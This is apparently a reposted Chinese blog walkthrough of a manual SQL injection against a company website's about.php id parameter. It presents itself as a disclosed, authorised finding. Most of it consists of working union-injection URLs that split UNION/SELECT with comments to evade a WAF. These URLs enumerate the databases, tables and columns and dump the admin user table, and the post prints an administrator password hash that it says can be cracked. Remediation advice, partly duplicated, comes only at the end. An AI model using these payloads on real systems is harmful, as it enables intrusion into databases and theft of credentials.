SQL注入过WAF获取企业账密实操

本文SQL注入漏洞已经提交给厂家处理,修复之后经授权允许公开

本次通过SQL联合注入可获得企业内部所有数据库,表,字段名
同时通过注入在数据库查询到了企业网站的admin管理员账户密码和root权限的账号密码,公司注册资产过亿,漏洞已经提交给厂家处理,修复之后经授权允许公开

SQL测试起点

http://www.testwebsite.com/about.php?id=2

输入http://www.testwebsite.com/about.php?id=2’

回显界面
]
得出存在SQL注入

测试列数

http://www.testwebsite.com/about.php?id=2 order by 9 回显界面正常

http://www.testwebsite.com/about.php?id=2 order by 10 回显报错,得出有九列

发现回显位置

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+/*A*/*L*/*L*+*S*/*E*/*L*/*E*/*C*/*T*+1,2,3,4,5,6,7,8,9

联合注入,发现可行,存在回显字段3和4位置

这里可将3,4位置替换version() ,user(),database(),@@version_compile_os,system_user(),current_user,session_user(),load_file(),@@datadir,@@basedir,初步获得信息

注入获得基本信息

比如

(1)

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+/*A*/*L*/*L*+*S*/*E*/*L*/*E*/*C*/*T*+1,2,database(),session_user(),5,6,7,8,9

(2)

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+/*A*/*L*/*L*+*S*/*E*/*L*/*E*/*C*/*T*+1,2,@@basedir,@@datadir,5,6,7,8,9

注入得所有库名

通过information_schema文件查询库名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,SCHEMA_NAME,9,2,3,4,5,SCHEMA_NAME%20from%20information_schema.SCHEMATA%20limit%200,1

变化limit 0,1和limit 1,1 得出服务器上只有两个库,分别是初始库information_schema和delong库(两图如下)

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,group_concat(SCHEMA_NAME),9,2,3,4,5,SCHEMA_NAME%20from%20information_schema.SCHEMATA#%20limit%200,1

测试出库中所有表名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,group_concat(TABLE_NAME),9,2,3,4,5,6%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()

获得表名信息:

dl_admin_diary,dl_admin_failed,dl_admin_menu,dl_admin_user,dl_attr,dl_banner_img,dl_customs,dl_download,dl_downloadtype,dl_en_admin_diary,dl_en_admin_failed,dl_en_admin_menu,dl_en_admin_user,dl_en_attr,dl_en_banner_img,dl_en_customs,dl_en_download,dl_en_downloadtype,dl_en_feedback,dl_en_industry,dl_en_industrytype,dl_en_jl,dl_en_job,dl_en_

对表进行字段查询

(这里的dl_admin_diary表十六进制转化为0x646c5f61646d696e5f6469617279)

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f61646d696e5f6469617279

(diary,failed,dl_banner_img,表中字段为空)

查询表中字段敏感信息

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,2,3,4,5,6%20from%20dl_admin_menu

_menu表中字段

注入获得管理员root权限账密

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f61646d696e5f75736572

_user表中字段名

id,username,password,login_num,login_time,login_ip,d_lock,time,level

注入得出_user表中字段信息

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,0x3a,username,0x3a,password,0x3a,login_num,0x3a,login_time,0x3a,login_ip,0x3a,d_lock,0x3a,time,0x3a,level),2,3,4,5,6%20from%20dl_admin_user

得出管理员账密

账号:admins

密码: 032fc5e5a8eb9300798992880b407e84(这里为数据库中加密后的密文)

经过cmd5解密可得明文密码,这里就不放图了

注入获得其他表中敏感字段信息

注入得出dl_attr表中字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f61747472

注入得出_attr字段信息

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,classid,title,value,rootid),2,3,4,5,6%20from%20dl_attr

注入得出dl_customs表中字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f637573746f6d73

id,classid,title,title2,name,huanbing,zhiliao,commnet,links,videos,pic1,pic2,files1,pics1,content,rootid,time,width,height,sys,en_title,en_commnet,en_links,en_content

注入得出 dl_customs字段信息

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,classid,title,title2,name,huanbing,zhiliao,commnet,links,videos,pic1,pic2,files1,pics1,content,rootid,time,width,height,sys,en_title,en_commnet,en_links,en_content),2,3,4,5,6%20from%20dl_customs

注入得出dl_en_feedback表中字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f656e5f666565646261636b

id,name,phone,qq,email,tel,title,company,commnet,view,time,reply

字段中没有信息

注入得出dl_en_industry表中字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f656e5f696e647573747279

id,classid,title,content,pic1,d_hits,rootid,time,index_view,en_title,commnet,en_commnet,en_content,content_1,en_content_1,content_2,en_content_2,content_3,en_content_3,content_4,en_content_4,pics,width,height,sys

注入得出dl_en_industry字段信息

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,classid,title,content,pic1,d_hits,rootid,time,index_view,en_title,commnet,en_commnet,en_content,content_1,en_content_1,content_2,en_content_2,content_3,en_content_3,content_4,en_content_4,pics,width,height,sys),2,3,4,5,6%20from%20dl_en_industry

注入得出dl_en_jl表内字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f656e5f6a6c

id,title,xm,gj,mqszd,mz,hkszd,sc,hyzk,nl,lxdh,dzyx,gznl,zc,grgzjl,byyx,zy,zgxl,byrq,sjypxjl,grjs,time

字段内信息为空

dl_en_job表内字段名

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f656e5f6a6f62

字段内信息为空

dl_en内信息为空

所有表注入查询完毕

dl_admin_diary,dl_admin_failed,dl_admin_menu,dl_admin_user,dl_attr,dl_banner_img,dl_customs,dl_download,dl_downloadtype,

dl_en_admin_diary,dl_en_admin_failed,dl_en_admin_menu,dl_en_admin_user,dl_en_attr,dl_en_banner_img,dl_en_customs,dl_en_download,dl_en_downloadtype,

dl_en_feedback,dl_en_industry,dl_en_industrytype,dl_en_jl,dl_en_job,dl_en_

Sqlmao命令

本次SQL注入漏洞为手动注入,暂未使用sqlmap

以下为手注url

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,group_concat(SCHEMA_NAME),9,2,3,4,5,SCHEMA_NAME%20from%20information_schema.SCHEMATA#%20limit%200,1

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,group_concat(TABLE_NAME),9,2,3,4,5,6%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database()

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f61646d696e5f6469617279

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(COLUMN_NAME),2,3,4,5,6%20from%20information_schema.COLUMNS%20where%20TABLE_NAME=0x646c5f61646d696e5f75736572

http://www.testwebsite.com/about.php?id=-2+/*U*/*N*/*I*/*O*/*N*/**+*S*/*E*/*L*/*E*/*C*/*T*+1,2,33,group_concat(id,0x3a,username,0x3a,password,0x3a,login_num,0x3a,login_time,0x3a,login_ip,0x3a,d_lock,0x3a,time,0x3a,level),2,3,4,5,6%20from%20dl_admin_user

漏洞url

http://www.testwebsite.com/about.php?id=2

漏洞描述

SQL注入危害:SQL注入,被广泛用于非法获取网站控制权。这是在应用程序的数据库层中发生的安全漏洞。在设计程序中,忽略了对输入字符串中包含的SQL命令的检查,并且将数据库误认为是要运行的常规SQL命令,这导致数据库受到攻击,从而可能导致盗窃,修改和删除数据,并进一步导致网站嵌入恶意代码,植入后门程序的危害等

临时解决方案

(1)所有查询语句都使用数据库提供的参数化查询接口,并且参数化语句使用参数,而不是将用户输入变量嵌入SQL语句中。几乎所有当前的数据库系统都提供参数化的SQL语句执行接口。使用此接口可以有效地防止SQL注入攻击。

(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。

(3)确认每个数据的类型。例如,数字数据必须是数字,并且数据库中的存储字段必须与int类型相对应。

(4)应严格规定数据长度,以防在一定程度上正确执行较长的SQL注入语句。

(5)网站每个数据层的编码是统一的。建议使用UTF-8编码。上下层编码不一致可能会导致某些过滤模型被绕过。

(6)严格限制网站用户数据库的操作权限,并向该用户提供只能满足其工作要求的权限,从而最大程度地减少了注入攻击对数据库的危害。

(7)阻止网站显示SQL错误消息,例如类型错误,字段不匹配等,以防止攻击者使用这些错误消息进行判断。

(8)在网站发布之前,建议使用一些专业的SQL注入检测工具来及时检测和修补这些SQL注入漏洞。
,以防在一定程度上正确执行较长的SQL注入语句。

(5)网站每个数据层的编码是统一的。建议使用UTF-8编码。上下层编码不一致可能会导致某些过滤模型被绕过。

(6)严格限制网站用户数据库的操作权限,并向该用户提供只能满足其工作要求的权限,从而最大程度地减少了注入攻击对数据库的危害。

(7)阻止网站显示SQL错误消息,例如类型错误,字段不匹配等,以防止攻击者使用这些错误消息进行判断。

(8)在网站发布之前,建议使用一些专业的SQL注入检测工具来及时检测和修补这些SQL注入漏洞。

猜你喜欢

转载自blog.csdn.net/NZXHJ/article/details/126614226